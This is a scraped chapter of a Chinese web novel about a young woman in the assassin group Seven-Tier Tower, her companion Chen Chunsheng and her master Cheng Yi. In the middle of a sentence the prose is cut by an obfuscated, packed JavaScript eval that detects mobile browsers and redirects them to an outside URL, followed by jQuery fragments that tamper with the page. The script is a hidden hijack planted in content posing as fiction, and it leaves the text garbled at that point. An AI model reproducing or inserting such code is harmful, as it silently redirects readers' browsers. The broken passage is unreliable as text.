默认冷灰
24号文字
方正启体

6. 见师傅

作者:1李金鱼1本书字数:K更新时间:
    梁月去找陈春生时,肩上背了一个鼓鼓囊囊的包袱。


    陈春生一整夜没睡。


    他昨夜才知所有黑色腰带都只能睡大通铺,几乎没合上过眼,是以现在见了梁月先愣了一下,


    “背着包袱要去哪?”


    他声音低哑,语气温柔,梁月听得耳朵痒,揉了揉耳垂道,


    “我下山办点事。”


    “下山?”


    陈春生心里有种不太好的预感。


    “对,”梁月语不惊人死不休,“我打算下山把新任的通州知府杀了。”


    陈春生心惊,面上却依旧平淡,


    “是塔里的新任务?”


    梁月摇摇脑袋,


    “不,是我自己要去。”


    “还没来得及跟你说呢,咱们费大力气做的任务泡汤了,一文钱也拿不到。”


    “就因为这该死的新知府,断人财路如杀人父母,我一定得去会会他。”


    她语气中还有些遗憾,


    “本来是打算带你一起去的,毕竟也相当于断了你的财路呢。”


    “等等!”


    陈春生赶紧拉住她,


    “到底是怎么回事?”


    梁月也是好心,给他解释道,


    “昨夜新任知府在城楼上立誓,要三个月内剿灭七重塔!”


    “现在绿漪为这事很不顺心,你也要小心点,碰见她绕着走!”


    陈春生拉着她袖子的动作一顿,崔德清最晚在月底就得滚蛋走人,根本不可能在通州城留上三个月。


    他脑子转得飞快,已经想清了其中关窍。


    崔德清所说的顺水推舟,就是要借“剿灭”之名逼七重塔有所行动,无论是跳出来承认还是否认,都可以让七重塔转暗为明。


    看梁月的反应,七重塔应当已经有相当一部分人知道了城内的反应。


    如此想下去,七重塔的消息畅通程度远超他们想象。


    “……”


    陈春生深吸了一口气。


    梁月看他面色古怪,伸手在他眼前晃晃,


    “又被吓到了?”


    陈春生捉住她的手,


    “梁月。”


    他第一次这么郑重其事地叫她的名字。


    “先等等。”


    “等我下山,和你一起去。”


    “一起就一起吧,”梁月满不在乎地拍拍包袱,“这么沉重做什么?”


    “对了,来找你是因为塔里要考核,你也早点去十恶殿,别叫我师傅等急了。”


    ……


    崔德清正在吃面。


    通州城的苍蝇小馆。


    清汤面条和酱菜,真是熟悉的家乡味。


    他边吃边和旁边人闲聊,


    “您也是宁县的?”


    “对对对!”提起吃,秦飞可就不困了,他看眼前人衣着富贵,想套套近乎


    “我是宁县曲村的!”


    崔德清笑道,随口胡诌道


    “我听过,那可是个好地方!”


    “嗨,那地方有什么好的,穷乡僻壤,哪比得了通州城气派!”


    “我前天进城,是替我舅父舅母在城里卖野物。”


    “也是不赶巧!正赶上那……”秦飞说到这儿,努了努嘴,“正赶上贼人做乱,生意也没做成!晦气!”


    崔德清心领神会,“官府不是要剿灭七重塔吗?”


    秦飞连忙示意他低声,“诶你这!实话告诉你吧,这话你也就听个响!”


    “怎么说?”


    “官府顶个球用?要我说,新来的官也是个蠢蛋,也不想想,那些人三年就能把招牌打响,背后肯定是有人脉!”


    崔德清挑了挑眉,琢磨着他话里的意思,


    “你是说……七重塔背靠的是官府?”


    “我也算个知道内情的人,你可别往外传啊,”秦飞示意他过来,“我舅父原本是给林府当护卫的,三年前林府被七重塔灭门,你晓得吧!”


    崔德清完全不知道,他三年前正在京城求学,但林家是宁县有名的富户,十三年前发洪水还给县里捐了一大笔钱,这他还是记得的。


    “你是说那个林家?”


    秦飞点头,“对对,就是那个!”


    “外人不知真相,我舅父在那林家做护卫还能不知道吗!”


    “就是知府老爷看上了林家的钱!他还不想叫人知道,我舅父舅母后来都被知府找了个由头割掉了舌头!”


    秦飞说到这也有些唏嘘,


    “诶!贼人做事都敢作敢当,官府却……诶!”


    崔德清拍了拍他肩膀,话套到这差不多,再多说就该让人起疑心了。


    “刚听你说要卖野物,是山上打来的?”


    秦飞眼睛亮了,总算等到他这句话


    “新鲜着呢,你瞧瞧!”


    ……


    十恶殿。


    听陈春生说要跟自己一起去,梁月索性放下了包袱。


    也是,报仇不差一时半会。


    眼下还是看师傅要紧。


    陈春生跟她刚走到殿外,就听得她甜甜的叫了一声,


    “师傅!”


    程意搂住扑过来的梁月,先捏了捏她圆乎乎的脸蛋,


    “怎么?”


    “又馋烧鸡了?”


    “我这次可带了香满楼的鸡,还拿了些酥糖点心,少不了你的口福。”


    陈春生立在一边,怕惊扰了这二人。抱着梁月的女人身条修长,穿着干练,不难看出身上习武的痕迹,腰间还系着橙色腰带。


    程意拍拍梁月的圆脑袋,示意他到一边去,对陈春生喊道,


    “来,比划比划。”


    陈春生练剑师从京城名家,为了不让程意看出自己的路数,他拿着一根破木棍故意使出中规中矩的招数。


    程意总觉得他在藏着掖着。


    她潇洒自然,一向讨厌弯弯绕绕,习惯主动出击,只是她一时忘了怀里还带着酒,陈春生顺势攻过来时


    “!”


    程意下意识护着酒向后仰。


    陈春生被她晃了一招,连忙收势!


    两人堪堪护住了程意的酒。


    梁月见两人原本你来我往之间风起云涌,一人一个树枝打得正起劲,突然就一起停下了,茫然道,


    “怎么啦?”


    程意眼中流过一丝诧异,她摸摸徒弟的圆脑袋,


    “你考核通过了,找绿漪去吧!”


    梁月:“?”


    陈春生:“!”


    陈春生在来的路上就听梁月说了她师傅是难得的真性情,肯定不会为难他,所谓考核八成就是走个过场。


    但他做贼心虚,从看到程意的腰带就在设防,反而在收势时暴露了实力。


    他下意识想去找梁月,她却已经亲亲热热地和程意走了。


    “……”


    陈春生望向了十恶殿的方向。


    梁月在程意的房间吃得很开心。


    她吃东西乖巧得很,一句话也不说,只埋头小口小口地吃。


    程意看着看着,想起塔主告诉过她的那些过往。


    好在,都忘掉了。


    大病一场,前尘尽忘,对她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376651|200100||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来说,也许是幸运。


    忘不掉的人才不得不背负,不得不痛苦,不得不复仇。


    程意天生散漫,就算度过了一段堪称难熬的时光也没磨掉她的自由。


    当年杀掉那个老疯子之后,她是想离开的,去游山玩水,去肆意快活,总之,去放下一切,去享受生活!


    但朱丝不一样。


    朱丝在事成那夜哭着对她说,自己放不下,她说父母含冤未报,妹妹不知所踪,她要留在通州,要查清真相!


    所以程意留了下来。


    也只有程意愿意留下来。


    只有两个人,刚开始肯定是艰难的。


    程意看不得人愁眉苦脸,总是要逗朱丝。


    但朱丝不好玩,没有她妹妹好玩。


    她捏捏朱丝的脸,朱丝只会白她一眼,不屑于和她玩这种把戏似的;但若她捏捏梁月的脸──


    “唔,师傅。”


    梁月腮帮子鼓鼓,被她揪起来一块软肉也不恼,还要自己手里的糕点分给她。


    程意毫不客气地笑纳了。


    往嘴里扔了一块桃酥,又倒了一点果子酒,程意含混地嚼着,既不好吃又不难吃,一股子怪味。


    梁月已经吃好,用一种不赞同的眼神盯着她。


    程意抹了抹嘴,晃晃手里的酒杯


    “呦,阿月吃好了?和师傅溜溜缝?”


    梁月接过酒抿了抿,甜丝丝的,蛮好喝,笑着开口道,


    “师傅最近过得怎么样?”


    程意翘着脚左右乱晃,


    “还能怎么样,就还是走南闯北地闲逛呗。”


    梁月放下手里的酒杯,神情有些沮丧,


    “还是没有我亲生父母的消息?”


    程意身形一僵,没想到她把话题扭到了这里,


    “是……还没听说呢。”


    朱丝原本就喜怒无常,见了梁月,性情也没变好,反而更加古怪。


    程意才不想去触她霉头,问她那些旧事。


    “这件事也急不得,下次我正要去京城,说不定会有些消息。”


    程意也只是嘴上说说罢了,她可是听朱丝酒后说过,父母都是土生土长的通州人,只是听她意思大约是父亲没了,母亲失踪。


    ……这话又怎么能对梁月说?


    梁月听出了她语气的回避,闷闷不乐地喝酒,原本甜丝丝的酒液也像是变苦了。


    她也不一定要去认回自己的亲生父母,她只是需要钱。


    梁月想。


    如果他们不想认自己的话,不认也可以。


    她瘪了瘪嘴,问程意,


    “京城是个什么样的地方?”


    程意眼睛亮了亮,


    “自然是个顶有意思的地方!”


    程意给她说起一路上的见闻,多的是奇人异事,拿箩筐都装不完。


    梁月听着听着,也高兴起来,把家里的烦心事都抛在脑后。只是说到京城……


    陈春生也是从京城来。


    梁月晕乎乎的酒醒了大半!


    她把他丢下了!


    梁月“腾”地一下站起来!


    程意“?”


    梁月看着一片狼藉的桌面,两人从上午聊到下午,程意嘴一直没停过,带回来的三瓶酒她喝了两瓶半。


    眼看时候不早了,她赶忙收拾桌子,顺便把程意扶到床边,


    “师傅你先歇着,等晚上开饭我再来叫你。”


    程意醉醺醺地嘟囔了几句,梁月走出了房间,少见地有些迷茫。


    她是想去找陈春生的,可他现在在哪呢?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)